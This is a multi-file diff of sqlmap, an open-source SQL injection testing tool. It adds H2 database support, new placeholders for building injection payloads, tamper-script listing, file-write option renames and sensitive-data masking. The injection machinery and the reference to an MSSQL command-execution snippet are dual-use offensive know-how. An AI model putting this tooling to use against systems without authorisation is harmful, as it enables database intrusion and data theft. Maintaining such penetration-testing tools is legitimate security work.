 from plugins.dbms.db2.connector import Connector as DB2Conn
 from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.h2 import H2Map
+from plugins.dbms.h2.connector import Connector as H2Conn
 from plugins.dbms.informix import InformixMap
 from plugins.dbms.informix.connector import Connector as InformixConn
 
@@ -67,6 +71,7 @@ def setHandler():
         (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
         (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
         (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
+        (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
         (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
     ]
 
@@ -90,29 +95,41 @@ def setHandler():
         conf.dbmsConnector = Connector()
 
         if conf.direct:
+            exception = None
             dialect = DBMS_DICT[dbms][3]
 
             if dialect:
-                sqlalchemy = SQLAlchemy(dialect=dialect)
+                try:
-                sqlalchemy.connect()
+                    sqlalchemy = SQLAlchemy(dialect=dialect)
+                    sqlalchemy.connect()
 
-                if sqlalchemy.connector:
+                    if sqlalchemy.connector:
-                    conf.dbmsConnector = sqlalchemy
+                        conf.dbmsConnector = sqlalchemy
-                else:
+                except Exception, ex:
-                    try:
+                    exception = ex
-                        conf.dbmsConnector.connect()
+
-                    except NameError:
+            if not dialect or exception:
-                        pass
+                try:
-            else:
+                    conf.dbmsConnector.connect()
-                conf.dbmsConnector.connect()
+                except Exception, ex:
+                    if exception:
+                        raise exception
+                    else:
+                        if not isinstance(ex, NameError):
+                            raise
+                        else:
+                            msg = "support for direct connection to '%s' is not available. " % dbms
+                            msg += "Please rerun with '--dependencies'"
+                            raise SqlmapConnectionException(msg)
 
         if conf.forceDbms == dbms or handler.checkDbms():
             if kb.resolutionDbms:
                 conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
+                conf.dbmsHandler._dbms = kb.resolutionDbms
             else:
                 conf.dbmsHandler = handler
+                conf.dbmsHandler._dbms = dbms
 
-            conf.dbmsHandler._dbms = dbms
             break
         else:
             conf.dbmsConnector = None

lib/core/agent.py

@@ -43,6 +43,7 @@ from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
+from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.unescaper import unescaper
 
@@ -246,6 +247,9 @@ class Agent(object):
         else:
             query = kb.injection.prefix or prefix or ""
 
+            if "SELECT '[RANDSTR]'" in query:  # escaping of pre-WHERE prefixes
+                query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
+
             if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
                 query += " "
 
@@ -311,9 +315,12 @@ class Agent(object):
         for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
             payload = payload.replace(_, randomStr())
 
-        if origValue is not None and "[ORIGVALUE]" in payload:
+        if origValue is not None:
             origValue = getUnicode(origValue)
-            payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
+            if "[ORIGVALUE]" in payload:
+                payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
+            if "[ORIGINAL]" in payload:
+                payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
 
         if INFERENCE_MARKER in payload:
             if Backend.getIdentifiedDbms() is not None:
@@ -342,6 +349,7 @@ class Agent(object):
 
         if payload:
             payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
+            payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
 
             for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
                 payload = payload.replace(_, str(randomInt()))
@@ -616,7 +624,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -815,7 +823,7 @@ class Agent(object):
             limitRegExp2 = None
 
         if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
+            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
                 limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                 limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
 
@@ -905,14 +913,14 @@ class Agent(object):
         fromFrom = limitedQuery[fromIndex + 1:]
         orderBy = None
 
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
         elif Backend.isDbms(DBMS.HSQLDB):
             match = re.search(r"ORDER BY [^ ]+", limitedQuery)
             if match:
-                limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip()
+                limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
                 limitedQuery += " %s" % match.group(0)
 
             if query.startswith("SELECT "):
@@ -1086,7 +1094,7 @@ class Agent(object):
         if conf.dumpWhere and query:
             prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
 
-            if "%s)" % conf.tbl.upper() in prefix.upper():
+            if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                 prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
             elif re.search(r"(?i)\bWHERE\b", prefix):
                 prefix += " AND %s" % conf.dumpWhere

lib/core/bigarray.py

@@ -126,7 +126,7 @@ class BigArray(list):
             try:
                 with open(self.chunks[index], "rb") as f:
                     self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
-            except IOError, ex:
+            except Exception, ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex.message
                 raise SqlmapSystemException(errMsg)

lib/core/common.py

@@ -645,7 +645,7 @@ def paramToDict(place, parameters=None):
                                                     current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
                                                 else:
                                                     current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
-                                                candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
+                                                candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
                                                 current[key] = original
 
                                 deserialized = json.loads(testableParameters[parameter])
@@ -868,11 +868,11 @@ def boldifyMessage(message):
     retVal = message
 
     if any(_ in message for _ in BOLD_PATTERNS):
-        retVal = setColor(message, True)
+        retVal = setColor(message, bold=True)
 
     return retVal
 
-def setColor(message, bold=False):
+def setColor(message, color=None, bold=False):
     retVal = message
     level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
 
@@ -880,15 +880,11 @@ def setColor(message, bold=False):
         level = unicodeencode(level)
 
     if message and getattr(LOGGER_HANDLER, "is_tty", False):  # colorizing handler
-        if bold:
+        if bold or color:
-            retVal = colored(message, color=None, on_color=None, attrs=("bold",))
+            retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
         elif level:
             level = getattr(logging, level, None) if isinstance(level, basestring) else level
-            _ = LOGGER_HANDLER.level_map.get(level)
+            retVal = LOGGER_HANDLER.colorize(message, level)
-            if _:
-                background, foreground, bold = _
-                retVal = colored(message, color=foreground, on_color="on_%s" % background if background else None, attrs=("bold",) if bold else None)
-
             kb.stickyLevel = level if message and message[-1] != "\n" else None
 
     return retVal
@@ -903,7 +899,7 @@ def clearColors(message):
 
     retVal = message
 
-    if message:
+    if isinstance(message, str):
         retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
 
     return retVal
@@ -927,9 +923,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
 
             try:
                 if conf.get("api"):
-                    sys.stdout.write(message, status, content_type)
+                    sys.stdout.write(clearColors(message), status, content_type)
                 else:
-                    sys.stdout.write(setColor(message, bold))
+                    sys.stdout.write(setColor(message, bold=bold))
 
                 sys.stdout.flush()
             except IOError:
@@ -1001,6 +997,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
     retVal = None
     kb.stickyLevel = None
 
+    if kb.lastInputMessage == message:
+        checkBatch = False
+    else:
+        kb.lastInputMessage = message
+
     message = getUnicode(message)
 
     if "\n" in message:
@@ -1013,6 +1014,9 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
         kb.prependFlag = False
 
     if conf.get("answers"):
+        if not any(_ in conf.answers for _ in ",="):
+            return conf.answers
+
         for item in conf.answers.split(','):
             question = item.split('=')[0].strip()
             answer = item.split('=')[1] if len(item.split('=')) > 1 else None
@@ -1166,6 +1170,9 @@ def getHeader(headers, key):
 def checkFile(filename, raiseOnError=True):
     """
     Checks for file existence and readability
+
+    >>> checkFile(__file__)
+    True
     """
 
     valid = True
@@ -1176,7 +1183,7 @@ def checkFile(filename, raiseOnError=True):
     try:
         if filename is None or not os.path.isfile(filename):
             valid = False
-    except UnicodeError:
+    except:
         valid = False
 
     if valid:
@@ -1196,7 +1203,7 @@ def banner():
     This function prints sqlmap banner with its version
     """
 
-    if not any(_ in sys.argv for _ in ("--version", "--api")):
+    if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
         _ = BANNER
 
         if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
@@ -1301,7 +1308,7 @@ def setPaths(rootPath):
     paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
 
     for path in paths.values():
-        if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")):
+        if any(path.endswith(_) for _ in (".md5", ".txt", ".xml", ".zip")):
             checkFile(path)
 
 def weAreFrozen():
@@ -1321,8 +1328,6 @@ def parseTargetDirect():
     if not conf.direct:
         return
 
-    conf.direct = conf.direct.encode(UNICODE_ENCODING)  # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters
-
     details = None
     remote = False
 
@@ -1353,7 +1358,7 @@ def parseTargetDirect():
                 conf.hostname = "localhost"
                 conf.port = 0
 
-            conf.dbmsDb = details.group("db")
+            conf.dbmsDb = details.group("db").strip() if details.group("db") is not None else None
             conf.parameters[None] = "direct connection"
 
             break
@@ -1407,8 +1412,10 @@ def parseTargetDirect():
                     __import__("pyodbc")
                 elif dbmsName == DBMS.FIREBIRD:
                     __import__("kinterbasdb")
+            except (SqlmapSyntaxException, SqlmapMissingDependence):
+                raise
             except:
-                if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
+                if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])):
                     pass
                 else:
                     errMsg = "sqlmap requires '%s' third-party library " % data[1]
@@ -1433,7 +1440,7 @@ def parseTargetUrl():
         errMsg += "on this platform"
         raise SqlmapGenericException(errMsg)
 
-    if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
+    if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I):
         if re.search(r":443\b", conf.url):
             conf.url = "https://%s" % conf.url
         else:
@@ -1534,14 +1541,14 @@ def expandAsteriskForColumns(expression):
     the SQL query string (expression)
     """
 
-    asterisk = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
+    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
 
-    if asterisk:
+    if match:
         infoMsg = "you did not provide the fields in your query. "
         infoMsg += "sqlmap will retrieve the column names itself"
         logger.info(infoMsg)
 
-        _ = asterisk.group(2).replace("..", '.').replace(".dbo.", '.')
+        _ = match.group(2).replace("..", '.').replace(".dbo.", '.')
         db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _)
 
         if db is None:
@@ -1650,6 +1657,9 @@ def parseUnionPage(page):
 def parseFilePaths(page):
     """
     Detects (possible) absolute system paths inside the provided page content
+
+    >>> _ = "/var/www/html/index.php"; parseFilePaths("<html>Error occurred at line 207 of: %s<br>Please contact your administrator</html>" % _); _ in kb.absFilePaths
+    True
     """
 
     if page:
@@ -2042,6 +2052,9 @@ def parseXmlFile(xmlFile, handler):
 def getSQLSnippet(dbms, sfile, **variables):
     """
     Returns content of SQL snippet located inside 'procs/' directory
+
+    >>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
+    True
     """
 
     if sfile.endswith('.sql') and os.path.exists(sfile):
@@ -2081,9 +2094,12 @@ def getSQLSnippet(dbms, sfile, **variables):
 
     return retVal
 
-def readCachedFileContent(filename, mode='rb'):
+def readCachedFileContent(filename, mode="rb"):
     """
     Cached reading of file content (avoiding multiple same file reading)
+
+    >>> "readCachedFileContent" in readCachedFileContent(__file__)
+    True
     """
 
     if filename not in kb.cache.content:
@@ -2140,6 +2156,9 @@ def average(values):
 def calculateDeltaSeconds(start):
     """
     Returns elapsed time from start till now
+
+    >>> calculateDeltaSeconds(0) > 1151721660
+    True
     """
 
     return time.time() - start
@@ -2147,6 +2166,9 @@ def calculateDeltaSeconds(start):
 def initCommonOutputs():
     """
     Initializes dictionary containing common output values used by "good samaritan" feature
+
+    >>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
+    True
     """
 
     kb.commonOutputs = {}
@@ -2914,15 +2936,15 @@ def filterStringValue(value, charRegex, replacement=""):
 
     return retVal
 
-def filterControlChars(value):
+def filterControlChars(value, replacement=' '):
     """
-    Returns string value with control chars being supstituted with ' '
+    Returns string value with control chars being supstituted with replacement character
 
     >>> filterControlChars(u'AND 1>(2+3)\\n--')
     u'AND 1>(2+3) --'
     """
 
-    return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ')
+    return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement)
 
 def isDBMSVersionAtLeast(version):
     """
@@ -3351,6 +3373,25 @@ def unhandledExceptionMessage():
 
     return errMsg
 
+def getLatestRevision():
+    """
+    Retrieves latest revision from the offical repository
+
+    >>> from lib.core.settings import VERSION; getLatestRevision() == VERSION
+    True
+    """
+
+    retVal = None
+    req = urllib2.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py")
+
+    try:
+        content = urllib2.urlopen(req).read()
+        retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P<result>[\d.]+)", content)
+    except:
+        pass
+
+    return retVal
+
 def createGithubIssue(errMsg, excMsg):
     """
     Automatically create a Github issue with unhandled exception information
@@ -3444,10 +3485,12 @@ def maskSensitiveData(msg):
             retVal = retVal.replace(value, '*' * len(value))
 
     # Just in case (for problematic parameters regarding user encoding)
-    match = re.search(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)( -?-[a-z]|\Z)", retVal)
+    for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
-    if match:
         retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
 
+    # Fail-safe substitution
+    retVal = re.sub(r"(?i)\bhttps?://[^ ]+", lambda match: '*' * len(match.group(0)), retVal)
+
     if getpass.getuser():
         retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal)
 
@@ -3509,7 +3552,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
                 return value
 
             payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
-            regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))
+            regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape")))
 
             if regex != payload:
                 if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]):  # fast optimization check
@@ -3616,7 +3659,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
 
             if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
                 retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
+            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
                 retVal = "\"%s\"" % retVal
             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                 retVal = "\"%s\"" % retVal.upper()
@@ -3753,7 +3796,7 @@ def expandMnemonics(mnemonics, parser, args):
                 logger.debug(debugMsg)
             else:
                 found = sorted(options.keys(), key=lambda x: len(x))[0]
-                warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
+                warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
                 warnMsg += "Resolved to shortest of those ('%s')" % found
                 logger.warn(warnMsg)
 
@@ -4137,6 +4180,9 @@ def checkSystemEncoding():
 def evaluateCode(code, variables=None):
     """
     Executes given python code given in a string form
+
+    >>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"]
+    1
     """
 
     try:
@@ -4190,6 +4236,9 @@ def incrementCounter(technique):
 def getCounter(technique):
     """
     Returns query counter for a given technique
+
+    >>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED)
+    1
     """
 
     return kb.counters.get(technique, 0)
@@ -4236,7 +4285,7 @@ def decodeHexValue(value, raw=False):
                         retVal = retVal.decode("utf-16-le")
                     except UnicodeDecodeError:
                         pass
-                elif Backend.isDbms(DBMS.HSQLDB):
+                elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
                     try:
                         retVal = retVal.decode("utf-16-be")
                     except UnicodeDecodeError:
@@ -4275,9 +4324,11 @@ def extractExpectedValue(value, expected):
                 value = value.strip().lower()
                 if value in ("true", "false"):
                     value = value == "true"
+                elif value in ('t', 'f'):
+                    value = value == 't'
                 elif value in ("1", "-1"):
                     value = True
-                elif value == "0":
+                elif value == '0':
                     value = False
                 else:
                     value = None
@@ -4427,6 +4478,9 @@ def zeroDepthSearch(expression, value):
     """
     Searches occurrences of value inside expression at 0-depth level
     regarding the parentheses
+
+    >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:]
+    'FROM DUAL'
     """
 
     retVal = []
@@ -4462,7 +4516,7 @@ def pollProcess(process, suppress_errors=False):
     Checks for process status (prints . if still running)
     """
 
-    while True:
+    while process:
         dataToStdout(".")
         time.sleep(1)
 
@@ -4683,11 +4737,44 @@ def getSafeExString(ex, encoding=None):
         retVal = ex.message
     elif getattr(ex, "msg", None):
         retVal = ex.msg
+    elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring):
+        retVal = ex[1]
 
     return getUnicode(retVal or "", encoding=encoding).strip()
 
 def safeVariableNaming(value):
+    """
+    Returns escaped safe-representation of a given variable name that can be used in Python evaluated code
+
+    >>> safeVariableNaming("foo bar")
+    'foo__SAFE__20bar'
+    """
+
     return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value)
 
 def unsafeVariableNaming(value):
+    """
+    Returns unescaped safe-representation of a given variable name
+
+    >>> unsafeVariableNaming("foo__SAFE__20bar")
+    'foo bar'
+    """
+
     return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value)
+
+def firstNotNone(*args):
+    """
+    Returns first not-None value from a given list of arguments
+
+    >>> firstNotNone(None, None, 1, 2, 3)
+    1
+    """
+
+    retVal = None
+
+    for _ in args:
+        if _ is not None:
+            retVal = _
+            break
+
+    return retVal

lib/core/dicts.py

@@ -22,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 
 FIREBIRD_TYPES = {
@@ -195,6 +196,7 @@ DBMS_DICT = {
     DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
     DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
     DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
+    DBMS.H2: (H2_ALIASES, None, None, None),
     DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
 }
 
@@ -263,6 +265,10 @@ SQL_STATEMENTS = {
         "commit ",
         "rollback ",
     ),
+
+    "SQL administration": (
+        "set ",
+    ),
 }
 
 POST_HINT_CONTENT_TYPES = {

lib/core/dump.py

@@ -47,6 +47,7 @@ from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
 from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
 from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
+from lib.core.settings import VERSION_STRING
 from lib.core.settings import WINDOWS_RESERVED_NAMES
 from thirdparty.magic import magic
 
@@ -170,7 +171,7 @@ class Dump(object):
     def currentDb(self, data):
         if Backend.isDbms(DBMS.MAXDB):
             self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
             self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
         else:
             self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -532,6 +533,7 @@ class Dump(object):
         elif conf.dumpFormat == DUMP_FORMAT.HTML:
             dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
             dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
+            dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
             dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
             dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
             dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")

lib/core/enums.py

@@ -43,6 +43,7 @@ class DBMS:
     SQLITE = "SQLite"
     SYBASE = "Sybase"
     HSQLDB = "HSQLDB"
+    H2 = "H2"
     INFORMIX = "Informix"
 
 class DBMS_DIRECTORY_NAME:
@@ -57,6 +58,7 @@ class DBMS_DIRECTORY_NAME:
     SQLITE = "sqlite"
     SYBASE = "sybase"
     HSQLDB = "hsqldb"
+    H2 = "h2"
     INFORMIX = "informix"
 
 class CUSTOM_LOGGING:
@@ -256,6 +258,7 @@ class PAYLOAD:
         3: "LIKE single quoted string",
         4: "Double quoted string",
         5: "LIKE double quoted string",
+        6: "Identifier (e.g. column name)",
     }
 
     RISK = {
@@ -275,6 +278,7 @@ class PAYLOAD:
         6: "TOP",
         7: "Table name",
         8: "Column name",
+        9: "Pre-WHERE (non-query)",
     }
 
     class METHOD:
@@ -374,3 +378,7 @@ class TIMEOUT_STATE:
     NORMAL = 0
     EXCEPTION = 1
     TIMEOUT = 2
+
+class HINT:
+    PREPEND = 0
+    APPEND = 1

lib/core/option.py

@@ -45,7 +45,6 @@ from lib.core.common import ntToPosixSlashes
 from lib.core.common import openFile
 from lib.core.common import parseRequestFile
 from lib.core.common import parseTargetDirect
-from lib.core.common import parseTargetUrl
 from lib.core.common import paths
 from lib.core.common import randomStr
 from lib.core.common import readCachedFileContent
@@ -54,6 +53,7 @@ from lib.core.common import resetCookieJar
 from lib.core.common import runningAsAdmin
 from lib.core.common import safeExpandUser
 from lib.core.common import saveConfig
+from lib.core.common import setColor
 from lib.core.common import setOptimize
 from lib.core.common import setPaths
 from lib.core.common import singleTimeWarnMessage
@@ -82,6 +82,7 @@ from lib.core.enums import PROXY_TYPE
 from lib.core.enums import REFLECTIVE_COUNTER
 from lib.core.enums import WIZARD
 from lib.core.exception import SqlmapConnectionException
+from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapFilePathException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapInstallationException
@@ -102,8 +103,8 @@ from lib.core.settings import DBMS_ALIASES
 from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
 from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
+from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import DUMMY_URL
-from lib.core.settings import INJECT_HERE_REGEX
 from lib.core.settings import IS_WIN
 from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
 from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -113,7 +114,6 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
 from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
-from lib.core.settings import SITE
 from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
 from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
@@ -123,7 +123,6 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNION_CHAR_REGEX
 from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.core.settings import URI_INJECTABLE_REGEX
-from lib.core.settings import VERSION_STRING
 from lib.core.threads import getCurrentThreadData
 from lib.core.threads import setDaemon
 from lib.core.update import update
@@ -607,22 +606,22 @@ def _setMetasploit():
         raise SqlmapFilePathException(errMsg)
 
 def _setWriteFile():
-    if not conf.wFile:
+    if not conf.fileWrite:
         return
 
     debugMsg = "setting the write file functionality"
     logger.debug(debugMsg)
 
-    if not os.path.exists(conf.wFile):
+    if not os.path.exists(conf.fileWrite):
-        errMsg = "the provided local file '%s' does not exist" % conf.wFile
+        errMsg = "the provided local file '%s' does not exist" % conf.fileWrite
         raise SqlmapFilePathException(errMsg)
 
-    if not conf.dFile:
+    if not conf.fileDest:
         errMsg = "you did not provide the back-end DBMS absolute path "
-        errMsg += "where you want to write the local file '%s'" % conf.wFile
+        errMsg += "where you want to write the local file '%s'" % conf.fileWrite
         raise SqlmapMissingMandatoryOptionException(errMsg)
 
-    conf.wFileType = getFileType(conf.wFile)
+    conf.fileWriteType = getFileType(conf.fileWrite)
 
 def _setOS():
     """
@@ -699,6 +698,22 @@ def _setDBMS():
 
             break
 
+def _listTamperingFunctions():
+    """
+    Lists available tamper functions
+    """
+
+    if conf.listTampers:
+        infoMsg = "listing available tamper scripts\n"
+        logger.info(infoMsg)
+
+        for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))):
+            content = openFile(script, "rb").read()
+            match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
+            if match:
+                comment = match.group(1).strip()
+                dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip())))
+
 def _setTamperingFunctions():
     """
     Loads tampering functions from given script(s)
@@ -807,7 +822,7 @@ def _setTamperingFunctions():
 
 def _setWafFunctions():
     """
